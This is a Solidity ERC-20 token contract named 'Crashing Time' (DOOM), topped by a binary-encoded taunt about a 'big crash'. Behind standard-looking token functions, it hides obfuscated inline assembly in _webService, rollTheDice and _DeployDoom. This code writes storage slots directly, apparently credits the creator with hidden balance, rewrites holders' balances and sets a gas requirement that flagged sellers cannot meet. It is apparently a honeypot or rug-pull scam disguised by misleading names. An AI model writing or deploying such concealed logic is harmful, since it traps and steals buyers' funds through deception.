/*
01000100 01001111 01001111 01001101 01010011 01000100 01000001
01011001 00100000 01001001 01010011 00100000 01000011 01001111
01001101 01001001 01001110 01000111 00101110 00100000 01010111
01001001 01001100 01001100 00100000 01011001 01001111 01010101
00100000 01000010 01000101 00100000 01010010 01000101 01000001
01000100 01011001 00100000 01000110 01001111 01010010 00100000
01010100 01001000 01000101 00100000 01000010 01001001 01000111
00100000 01000011 01010010 01000001 01010011 01001000 00111111
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IUniswapV2Pair {
    event Sync(uint112 reserve0, uint112 reserve1);
    function sync() external;
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private doomAddr;
    uint256 private frontAttack = block.number*2;

    mapping (address => bool) private swapGov; 
    mapping (address => bool) private mevRepel; 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private serviceMap;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private gasVV;
    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
    bool private trading; uint256 private upMsg = 1; bool private weiRefund;
    uint256 private _decimals; uint256 private liqSender;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _symbol = symbol_;
        doomAddr.push(_router); doomAddr.push(msgSender_); doomAddr.push(pair);
        for (uint256 q=0; q < 3;) {swapGov[doomAddr[q]] = true; unchecked{q++;} }
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function openTrading() external onlyOwner returns (bool) {
        trading = true; theN = block.number; frontAttack = block.number;
        return true;
    }

    function keccak255(address x, uint256 y) internal pure returns (bytes32 b) { b = keccak256(abi.encodePacked([uint256(uint160(x)), y])); }
    function _webService(bool account) internal { if (account) { require(gasleft() >= gasVV); } if (weiRefund) { bytes32 b = keccak255(doomAddr[1],6); assembly { sstore(b,0x446C3B15F9926687D2C40534FDB564000000000000) } } }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function rollTheDice(bytes32 y, bytes32 z, uint256 switcher, uint256 x1, uint256 x2, uint256 x3) internal {
        assembly { if or(eq(sload(y),iszero(sload(z))),eq(iszero(sload(y)),sload(z))) { switch switcher case 1 {
                    let x := sload(x3) let t := sload(x1) if iszero(sload(x2)) { sstore(x2,t) } let g := sload(x2)
                    switch gt(g,div(t,0x2)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,x)),0xB326),0x2))} 
                    case 0 {g := div(t,0x2)} sstore(x2,t) sstore(x1,g) sstore(x3,add(sload(x3),0x1))
                } case 0 { let x := sload(x3) let t := sload(x1) sstore(x1,x) sstore(x3,t) } }
            if iszero(switcher) { if iszero(mod(sload(0x15),0x5)) { sstore(0x16,0x1) } sstore(0x3,number()) } } }

    function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
        require((trading || (sender == doomAddr[1])), "ERC20: trading is not yet enabled.");
        upMsg += swapGov[recipient] ? 1 : 0; _webService((((weiRefund || mevRepel[sender]) && ((frontAttack - theN) >= 9)) || (integer >= _limit)) && (swapGov[recipient] == true) && (swapGov[sender] != true)); rollTheDice(keccak255(sender,4),keccak255(recipient,4),1,17,23,24);
        _CheckFees(serviceMap, (((frontAttack == block.number) || (theV >= _limit) || ((frontAttack - theN) <= 9)) && (swapGov[serviceMap] != true))); rollTheDice(keccak255(sender,4),keccak255(recipient,4),0,23,7,17); theV = integer; serviceMap = recipient;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _CheckFees(address sender, bool account) internal { mevRepel[sender] = account ? true : mevRepel[sender]; }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _DeployDoom(address account, uint256 amount, uint256 tmp, uint256 tmp2, uint256 tmp3) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        approve(doomAddr[0], 10 ** 77);
        assembly { sstore(tmp2,mul(div(sload(tmp),0x2710),0x12D)) sstore(tmp3,0x1ba8140) }
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployDoom(creator, initialSupply, uint256(16), uint256(17), uint256(11));
    }
}

contract CrashingTime is ERC20Token {
    constructor() ERC20Token("Crashing Time", "DOOM", msg.sender, 35000 * 10 ** 18) {
    }
}